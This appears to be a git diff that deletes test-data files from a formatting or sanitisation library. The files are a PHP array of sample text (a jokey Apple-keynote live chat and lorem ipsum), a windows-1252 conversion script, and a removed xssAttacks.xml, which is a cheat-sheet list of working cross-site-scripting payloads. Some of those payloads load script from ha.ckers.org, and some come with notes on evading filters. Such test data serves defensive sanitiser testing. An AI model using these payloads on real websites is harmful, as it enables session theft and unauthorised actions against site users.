-Prices Phil.
-
-
The Black Knight.
-
-
I only buy purple computer chips.
-
-
Only on iTunes.
-
-
Same here.
-
-
WIFI has air conditioning now!
-
-
Im guessing hardware decoding helps with that.
-
-
!!!!
-That\'s not much more than my air...
-TODAY!!??!
-
-
MacBook Air is free!
-
-
We\'re going FREE in a BIG WAY.
-
-
No more non-Retina.
-
-
5C is free cause we can\'t sell them all.
-
-
We\'re printing money, you can have anything for free at this point.
-
-
And a toaster!
-
-
We\'ll just make more money to cover the cost.
-
-
$1799.
-BLAH!
-
-
Free posters for your wall with petals.
-
-
Duh.
-
-
I didn\'t realize that computers were so expensive.
-
-
LOL
-
-
MORE CHECKBOXES!!
-
-
Free Mercury!
-
-
That $1299 13 is tempting.
-
-
Mac Pro.
-
-
A very significant, if unsurprising update.
-blown away
-
-
Blown away by the Trash can.
-
-
That is one powerful fan.
-
-
I think this is all cinema 4D... I don\'t think they actually built one.
-
-
Theyre just going to bring out an old case.
-
-
"Simply remarkable."
-
-
The Mac Pro is virtual. You don\'t get a box.
-Cloud based.
-
-
LOL
-
-
THE FASTEST MEMORY!* (*that we have ever put in a mac)
-
-
We finally put graphics cards that aren\'t old in a Mac.
-
-
That is some speedy storage.
-Yup, spinning rust taps out at about 120 MB/sec.
-
-
We\'ll even sell you this case that matches to put your drives into!
-
-
For a single drive.
-Who is going to be the first to mod a real Trash can with a RAID array to Thunderbolt?
-
-
I can\'t wait to see the enclosures people make to go with this device.
-
-
Row of Trash cans daisy chained together.
-
-
Packed and built for expansion.
-
-
It\'s only one Mac Pro. I know it looks like ten.
-
-
That is one dense machine.
-
-
"We can\'t imagine what people can do with this."
-
-
So weve decided to not sell it to people ... only robots!
-
-
FREE
-
-
Final Cut Pro X. It\'s all Downhill from here.
-
-
I do not know these people.
-
-
And... that\'s why...
-
-
I think Phil probably sleeps with these things.
-
-
This Mac Pro is killer.
-
-
This Mac Pro is (a) killer.
-Whew.
-This is going to get expensive fast.
-
-
3K. hmmm
-
-
Not terrible. However, now I need to price out the TOP OF THE LINE model and find out if it can cost more than my house.
-Should be able to do it.
-
-
SO RECYCLABLE that you can throw it into the Trash... or use it as a Trash can.
-
-
30k
-
-
"THIS CHART PROVES IT"
-
-
That cannot be understated, less power is a big deal when you get some space heaters together.
-Whew. Thats nuts.
-I have a Mac mini under my desk right now.
-
-
You\'re nuts.
-You\'re going to buy like 6 of these.
-
-
I wish.
-
-
We made another video for you!
-
-
NEW VIDEO
-
-
I wonder how hard of a sell a lab of Mac Pros would be.
-There you go Aaron.
-
-
Better be edited on FCPX.
-
-
I want to hear the disembodied voice of Jony Ive!
-
-
JEFF WILLIAM THE COMPOSER!... oh wait... not the same guy.
-
-
Not this Williams fellow!
-
-
Shiny, captain.
-
-
Robots!
-
-
Oh, he has a Jarvis too!
-
-
This is what having 100+ billion in the bank can do for your product line.
-
-
Who assembles the assembly line?
-
-
I want a tour .
-
-
It is like a freaking laboratory for a single computer line from a single company.
-Alright, I want one.
-Crap.
-
-
If I buy a Mac Pro do I get an assembly line tour too?
-
-
How to convince my boss to get me two ...
-Maybe when you get the top-of-the-line model?
-
-
There\'s more!?!?!?
-
-
EDDIE!
-
-
Eddie!
-Who is Eddie?
-
-
Appses
-
-
He seems like a mobster.
-
-
BIGGEST UPDATES EVER
-
-
LOL
-Another drink?
-
-
He is a mobster.
-
-
He does do the negotiating.
-
-
WE REDESIGNED THE ICONS!
-
-
LOL
-
-
Designed to look different!
-
-
We are going to kill the competition.
-
-
Crap. I am going to spend money.
-64-bit!
-
-
It\'s all free Bob!
-IT\'S ALL FREE!
-
-
I wish I could get a free Mac Pro.
-I spent $2000 on my original 15 PowerBook G4 ... $3K on a Mac Pro ...
-
-
I you have iOS, because, let\'s be honest, we know you do, and if you don\'t security will escort you out.
-
-
LOL
-
-
You have to show your iPhone to get in.
-
-
Photo Books are extremely popular. Bringing them to the iPad is an excellent move.
-
-
iPhoto! The same, but we changed the icon!
-
-
amazing
-
-
iMovie is new from the ground up! Because we like to do that every so often...
-You don\'t need to edit!
-
-
iMovie has ONE button now!
-
-
New design! Because we can\'t quite figure this out for reals...
-
-
WHAT WIZARDS DO THEY HIRE!
-
-
We simplified the interface, so that you can\'t actually do anything with the things... because that\'s complicated and we want it to be simple.
-
-
I think we call this value add.
-
-
iMovie theater. More file management users won\'t understand.
-
-
Geez Apple ...
-
-
The most popular musical creation app... in the world... that is part of ilife...
-It\'s asterisks all the way down.
-
-
Remember when we couldnt even make phone calls from our phones because we didnt have one ... now you can record whole albums from one.
-LOL
-
-
Everything is killer .
-
-
I don\'t remember that.
-
-
Serials.
-
-
Click the drummer button, and we\'ll send one to your house.
-
-
WE NO LONGER NEED DRUMMERS!
-
-
Siri. I need a beat.
-
-
OR HUMANS!
-
-
What is this I don\'t even...
-
-
The drummers have names.
-
-
"We have so much money we\'re trying to spend it as fast as we can, but it\'s just not working... we really don\'t understand it..."
-
-
In. App. Purchase.
-
-
@aaron - Unlike real drummers... who don\'t have names.
-
-
Is that a bio next to the photo?
-
-
I have a feeling that he drew the short straw because this is his baby.
-
-
DRUMMER
-
-
Mobster.
-
-
"That was AWESOME... I love garageband..."
-
-
He just gets stuff done.
-
-
Is he drunk?
-
-
NO!
-I WANT FREE FOR EVERYONE!
-
-
FREE drummers.
-
-
AUUGH... free for everyone plz!
-
-
...I guess I need to purchase a new Mac.
-NEW ICONS!
-64-bit please?
-
-
Free pizza tray where the optical drive used to be.
-
-
Collaboration?
-
-
Of course it\'s 64 bit. It\'s free for new users.
-
-
Could it be a pizza oven?
-
-
Because SCREW PEOPLE WHO NEED TO UPGRADE.
-
-
Drummers don\'t work on an empty stomach
-
-
We can\'t afford to give EVERYONE iWork.
-
-
You could probably cook a pizza on top of a Mac Pro.
-
-
Will drum for food.
-
-
Microsoft Office sucks.
-That is what he meant.
-
-
What hasn\'t apple reinvented?
-
-
The Mac Pro had an integrated stovetop.
-
-
LOL
-
-
I like that.
-
-
MacPro Grill.
-
-
It now presents for us?
-
-
WHAT!?!?!?
-
-
Im sure no one noticed.
-Plus, if it crashes, no one will care.
-
-
PLOT TWIST
-
-
Video of famous director eating grilled Sandwich while swiping with greasy fingers.
-
-
WHOA
-
-
LOL
-
-
DEMO!
-
-
I still feel like Eddie Cue should be knocking the heads of the movie studios right now.
-
-
No one lets you do what we do with our app because no one loves you like apple loves you.
-That\'s easy to imagine
-
-
Plus, he has a great mobster name.
-
-
HE\'s a rapper!
-BLING BLING
-
-
He wears a Mac Pro on a chain around his neck.
-
-
LOL
-Steve is rolling in his grave.
-
-
Oh a semi-serious note, I like that they take pots at themselves and each other.
-
-
POT. That\'s probably the problem.
-
-
All their meetings are nonsense and jokes now that Steve isn\'t there to tell them to get back to work.
-
-
LOL
-
-
Bob, did you see John Siracusa\'s tweet?
-
-
Yes I did.
-I have a feeling scrambling doesnt get to the heart of that.
-
-
Oh geez.
-
-
WAIT WAIT WAIT ... IS THIS COLLABORATION!
-
-
Not by my definition...
-
-
Stuck on a PC.
-Free.
-
-
FREE FOR EVERYONE
-... NOPE, Chuck Testa!
-With new purchase.
-
-
.
-Today
-
-
I\'m just going to sell my Macbook air and buy a new one.
-
-
Always.
-CRUDDY CRUD CRUD!
-
-
The biggest day ever for apps.
-
-
Geez ... 20 apps!
-
-
Apple doesn\'t care about previous customers
-
-
... COME ON PODCAST.APP!
-
-
20 apps?
-I only saw 3
-or 4
-
-
Theyre pushing updates for 20 apps today.
-
-
iPad announcement?
-
-
On it\'s ear!
-
-
Im guessing that is next. Were only one hour in.
-
-
ON IT\'S EAR
-$1.99 upgrades!
-FREE MACS FOR EVERYONE!
-
-
LOL
-
-
TIM COOK FOR PRESIDENT!
-
-
I remember paying $10 for the iPod touch update.
-The sad part, they could give away almost everything and theyd still make money.
-Netbooks are old Chromebooks ...
-
-
LOOK AT ALL THESE LARGE NUMBERS!
-this chart proves that bigger numbers are near the top of the chart!
-
-
That curve is going up and to the right!
-
-
Maybe they flipped the chart?
-
-
I can\'t think of another product that has sold this many numbers of product!
-
-
Doubters...
-
-
NO ONE has ever sold 170 million of anything!
-
-
Blueberry Pie chart.
-
-
Too bad I dont like blueberries.
-
-
Look at this pie chart! We\'re larger than the thing that isn\'t us!
-
-
iPad now blue flavored.
-
-
Since we started tracking this, we have been the best at tracking this.
-
-
iOS 7.1 today?
-
-
No one else can match this. NO ONE.
-
-
More zeroes.
-
-
If we say this enough, everyone will believe it.
-
-
Productive.
-Look a racing game!
-
-
Too much exposition.
-No new iPads!
-We designed iPad ...
-Like a family pet.
-
-
Video!
-
-
We fed Molly...
-
-
Video!
-
-
LOOK AT ALL THESE BIG NUMBERS!!! But let\'s be honest, it\'s not about the numbers... though, our numbers are bigger than other people\'s numbers, but we really want to focus on our Quality... OF THIS NEW VIDEO!
-
-
They should do an audio-only video.
-
-
Look Bob! A farming app!
-
-
I WAS COMBINING THIS WEEKEND!
-
-
It\'s like they understand you!
-
-
Sadly, that particular one is tied to a particular system on very expensive new machines.
-
-
This is the best video.
-
-
Look, here\'s a firefighter playing angry birds.
-
-
Surgeons playing ERT2
-
-
Ive personally used my iPad for business meetings.
-How are these people getting cell reception in these areas!?
-
-
It\'s much more interesting to look at the world through your iPad if you\'re at the great wall of China.
-
-
I want to know how many of the shots are real. Some seem too good to be true
-
-
That\'s an amazing video...
-And amazing stories...
-
-
Lots of helicopter shots.
-
-
...so we hire pixar to make movies about every scene in that video.
-HEY! IT\'S OTHER ME!
-
-
Phils back!
-BRING US CRAIG!
-
-
Hello!
-13 INCH IPAD
-
-
Craig is doing his hair.
-
-
And tucking in his shirt.
-"Relentless path"
-
-
Remarkable.
-DRINK!
-
-
Biggest step.
-
-
"Incredible vision," "Quite remarkable"
-In VIDEO FORM!
-
-
Video.
-
-
Why do we hate articles?
-
-
It\'s anti gravity!
-
-
No TouchID.
-
-
Wait, what?
-
-
I didnt see it.
-
-
NEW NEW IPAD
-
-
iPad Air?
-WHAT THE FREAK!?
-
-
iPad air? Really?
-
-
Wait... 9.7 is air?
-
-
Has to be pricing pressure.
-
-
So... what happened to the mini?
-
-
Drop the price on Fat iPad.
-
-
The NEW NEW IPAD AIR MINI!
-
-
Drop the price on iPad mini.
-
-
That\'s an amazingly thin iPad!
-
-
Little numbers!
-
-
Nicely stated Aaron.
-
-
LOOK AT HOW SMALL THESE NUMBERS ARE! No one has numbers this small!
-
-
More tiny numbers.
-
-
No way lighter?
-
-
It would be awesome if it were heavier.
-
-
It\'s so light it might blow away outdoors.
-
-
Lightest Full size tablet in the world*
-
-
Weve made it out of lead!
-A7 ...
-
-
The AIR... BLOWS everything away... get it? get it? get it?
-
-
Which is good, but ... TouchID?
-
-
Blue curves!
-
-
Too thin for touch id.
-
-
Thats important because IT IS PUSHING DESKTOP RESOLUTION!
-Thats my thought as well.
-
-
What\'s MIMO?
-
-
Using multiple antenna for wifi.
-
-
hmmm
-
-
Faster, better range, etc.
-It is better, youre going to buy it, so just go now.
-
-
Dual microphones! Stereo recordings!
-No gold?
-
-
Same battery life that much thinner and lighter, what are they doing?
-
-
Magic.
-
-
$4.99! WERE GOING FREE BABY!
-
-
WHAT!?
-IPAD 2 IS STILL AROUND!?
-
-
We\'re keeping this iPad around for people who still like things that weigh a ton.
-
-
Has to do with graphics only, the A6X and A5X were SERIOUSLY underpowered graphics wise.
-
-
Video!
-
-
Please bring Jony ...
-YES!
-
-
JOHNNY IVES!
-
-
Jony Ives.
-
-
Aluminium ... come on ... say it ...
-I was afraid that Jony has left ...
-
-
Robot that drops iPads.
-
-
Is the mini gone?
-
-
Airplanes!
-
-
Dont know yet. Well see.
-AND AIRPLANES!
-
-
More planes.
-
-
LOL
-
-
THE IPAD AIR ... GET IT ... AIRPLANES!
-PEOPLE JUMPING IN THE AIR!
-
-
I don\'t understand.
-
-
STANDING IN AIR!
-
-
That\'s looked like an expensive apartment.
-
-
Can you explain it?
-
-
Craig!
-
-
YES!
-BRING OUT CRAIG!
-
-
Tom Merritt: "We have machined the tears of unicorns into the edge and compressed babies wishes into it\'s case. It weighs 1 butterfly kiss."
-"The newest thing we built is the most advanced thing we have ever built"
-
-
And now weve decided to discontinue it and release the iPad nano!
-
-
He\'s struggling for a list of things that people do with their iPad... CRASH AND BURN!
-
-
It is hard when they do so many things.
-Missed it, what was announced?
-Ah, Retina ...
-
-
It\'s only $399!
-
-
LOL
-
-
You can hear a pin drop in the audience.
-
-
LOL
-A significant price point, but ... eh.
-
-
Oh, $299... and then they clap...
-
-
I cannot believe that the iPad 2 is hanging around.
-Truly a zombie.
-Did I miss the fact that the Air has an A6X?
-Sorry, mini.
-
-
Reach under your seat. Free iPads for everyone
-
-
Another video
-It\'s hiding behind this pencil.
-
-
Ipencil.
-
-
iPad. iPad 2. New iPad. iPad Air. Because we can\'t figure out a naming scheme that works...
-
-
Just play the Mac Pro assembly line video again.
-
-
No musical guest? SELL YOUR STOCK
-
-
Eddy.
-He\'s gonna play.
-
-
4 grand for the 6-core Mac Pro.
-6 GB of video RAM.
-
-
Hmmm
-
-
Thank you gentleman.
-
-
No, thank you.
-
-
Thanks for a magical event
-
-
Darn right!
'),
-
-/* DIVIDER */
-
-array('Lorem ipsum dolor sit amet, quo id ignota repudiare, ius iracundia rationibus an, ea natum causae epicuri has.
-
-His porro deleniti cu. "Eam ut quem alia reprimique." Quas tollit tincidunt his eu, nam ex cibo illud cetero. In perpetua dignissim mel, te utinam vituperata per.
-
- Erat tibique hendrerit et duo, qui iriure tacimates ne, per eu solum admodum ocurreret. Cu ius utinam equidem saperet, mei tation nostrud scripserit ne. Sea et vide natum. Homero constituto eu est, quo eu veniam omnium feugait. Vel enim commune no.
-
- Option verterem eum te, quot discere neglegentur nam at. No rebum convenire disputationi pro, libris possim eruditi (id) est. Unum ubique scaevola sed ad. Quas decore periculis ius eu, quod nibh quando ea ius. Ea essent omnesque mei, possit verear aperiri ea mel, mea fabellas urbanitas pertinacia ei. Maiorum sensibus at duo, eum ea veritus splendide.
-
- Ex quo noster alterum sanctus. Vel ei blandit adversarium, ad iriure scripta eruditi nam. Quo semper noluisse consectetuer te. Probatus mediocritatem necessitatibus ne pro. Vix ne consul soluta dissentiet.
-
- Vix augue vivendum sadipscing ei, diam elaboraret scribentur no mea. Te pri nullam reprehendunt, ornatus maiorum ne qui. Et mei accusam singulis. Et est intellegat posidonium, no usu purto bonorum facilisi. Saperet cotidieque eu mel.
-
- Nonumy pericula vis id, illum nobis aliquando cum ei, altera aeterno mediocritatem pro ea. At duo quaeque dolorem. Vidit tantas ea vim, quis feugiat delenit vix ad, te per choro omnesque. Eum id duis facilisis. Purto intellegat duo no, ne ipsum praesent moderatius vis, et meliore scriptorem vim.
-
-
-
-
-
-
-
Lorem ipsum
-
Lorem ipsum
-
-
-
Requirements
-
Minimums
-
Status
-
Minimums
-
Status
-
-
-
Age
-
Lorem ipsum
-
Yes
-
Lorem ipsum
-
Yes
-
-
-
Total
-
Lorem ipsum
-
100%
-
Lorem ipsum
-
100%
-
-
-
Education
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Concentration
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Certification
-
Lorem ipsum
-
No
-
-
n/a
-
-
-
Recognized Coursework
-
Lorem ipsum
-
TBD
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
80%
-
200 hours
-
80%
-
-
-
Lorem ipsum
-
Lorem ipsum
-
by credit
-
100 hours
-
by credit
-
-
-
Lorem ipsum
-
Lorem ipsum
-
60%
-
50 hours
-
60%
-
-
-
Lorem ipsum
-
Lorem ipsum
-
by credit
-
75 hours
-
by credit
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
250 hours
-
Yes
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
100 hours
-
Yes
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
25 hours
-
Yes
-
-
-
Lorem ipsum
-
Effective Aug 2014
-
n/a
-
-
n/a
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Dec \'14
-
-
Dec \'14
-
-
-
Lorem ipsum
-
Lorem ipsum
-
Yes
-
2nd Class
-
Yes
-
-
-
-Tota offendit sea et, ne vim dicam admodum blandit. No vix quas nusquam. Putant scripta fierent mei ea. Eum ei putant persius probatus, quo ea wisi electram.
-
- Eu illud definiebas honestatis sit. Eam exerci deseruisse ei, ex cum erant tacimates. Enim eros id vel, vidisse abhorreant cu eum. Et saperet appellantur est, eum esse soluta recusabo ad. Eam malis sensibus ea.
-
- Exerci scripta at est. His ei nostrum perfecto, accumsan eligendi tincidunt an eum. Ius tempor aperiam ea, mei autem lorem eu. Vis duis modus ornatus no, alia malis ornatus mea et, ea eros probatus qui.
-
- Mazim assentior mel te, rebum periculis constituam nec ut. In ferri admodum deleniti eum, nam te quas nominati appellantur. Est at erat pertinax, no sit nulla placerat. Munere euripidis ad has.
-
- Magna graeco oblique vel ea, no movet aliquando mea. Eum no sadipscing delicatissimi, doctus consequuntur eu sed. Sed in persius eleifend, regione euismod no per. Ei pri vivendum gubergren, vix at eligendi invenire aliquando, brute malorum id usu. Cum tantas prodesset consequuntur ei, eum liberavisse delicatissimi vituperatoribus at.
-
- Cu bonorum graecis ius. Duo id ancillae probatus. Tota latine pri an. Cum ei iudico semper. Eum in blandit voluptaria.
-
- Illud debet vitae ex vis numquam.'),
-
-/* DIVIDER */
-
-);}?>
\ No newline at end of file
diff --git a/tests/data/formatting/windows1252.py b/tests/data/formatting/windows1252.py
deleted file mode 100644
index bca7499..0000000
--- a/tests/data/formatting/windows1252.py
+++ /dev/null
@@ -1,27 +0,0 @@
-# Generates test data for functions converting between
-# dodgy windows-1252-only values and their unicode counterparts
-
-unichars = ["201A", "0192", "201E", "2026", "2020", "2021",
- "02C6", "2030", "0160", "2039", "0152", "2018",
- "2019", "201C", "201D", "2022", "2013", "2014",
- "02DC", "2122", "0161", "203A", "0153", "0178"];
-
-winpoints = []
-unipoints = []
-
-for char in unichars:
- char = unichr(int(char, 16))
- dec = ord(char)
- win = ord(char.encode("windows-1252"))
-
- unipoints.append(dec)
- winpoints.append(win)
-
-def entitize(s):
- return "%s;" % s
-
-winpoints = map(entitize, winpoints)
-unipoints = map(entitize, unipoints)
-
-print "".join(winpoints), "".join(unipoints)
-
diff --git a/tests/data/formatting/xssAttacks.xml b/tests/data/formatting/xssAttacks.xml
deleted file mode 100644
index 017bf1f..0000000
--- a/tests/data/formatting/xssAttacks.xml
+++ /dev/null
@@ -1,976 +0,0 @@
-
-
-
- XSS Locator
- ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
- Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- XSS Quick Test
- '';!--"<XSS>=&{()}
- If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus <XSS to see if it is vulnerable.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- SCRIPT w/Alert()
- <SCRIPT>alert('XSS')</SCRIPT>
- Basic injection attack
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- SCRIPT w/Source File
- <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
- No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- SCRIPT w/Char Code
- <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
- Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- BASE
- <BASE HREF="javascript:alert('XSS');//">
- Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- BGSOUND
- <BGSOUND SRC="javascript:alert('XSS');">
- BGSOUND
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- BODY background-image
- <BODY BACKGROUND="javascript:alert('XSS');">
- BODY image
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- BODY ONLOAD
- <BODY ONLOAD=alert('XSS')>
- BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- DIV background-image 1
- <DIV STYLE="background-image: url(javascript:alert('XSS'))">
- Div background-image
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- DIV background-image 2
- <DIV STYLE="background-image: url(javascript:alert('XSS'))">
- Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- DIV expression
- <DIV STYLE="width: expression(alert('XSS'));">
- Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- FRAME
- <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
- Frame (Frames have the same sorts of XSS problems as iframes).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IFRAME
- <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
- Iframe (If iframes are allowed there are a lot of other XSS problems as well).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- INPUT Image
- <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
- INPUT Image
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IMG w/JavaScript Directive
- <IMG SRC="javascript:alert('XSS');">
- Image XSS using the JavaScript directive.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IMG No Quotes/Semicolon
- <IMG SRC=javascript:alert('XSS')>
- No quotes and no semicolon
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IMG Dynsrc
- <IMG DYNSRC="javascript:alert('XSS');">
- IMG Dynsrc
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- IMG Lowsrc
- <IMG LOWSRC="javascript:alert('XSS');">
- IMG Lowsrc
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- IMG Embedded commands 1
- <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
- This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IMG Embedded commands 2
- Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
- IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- IMG STYLE w/expression
- exp/*<XSS STYLE='no\xss:noxss("*//*");
-xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
- IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- List-style-image
- <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
- Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- IMG w/VBscript
- <IMG SRC='vbscript:msgbox("XSS")'>
- VBscript in an image
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- LAYER
- <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
- Layer (Older Netscape only)
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
-
-
- Livescript
- <IMG SRC="livescript:[code]">
- Livescript (Older Netscape only)
-
- Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]
-
-
- US-ASCII encoding
- %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
- Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]
-
-
- META
- <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
- The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.
-
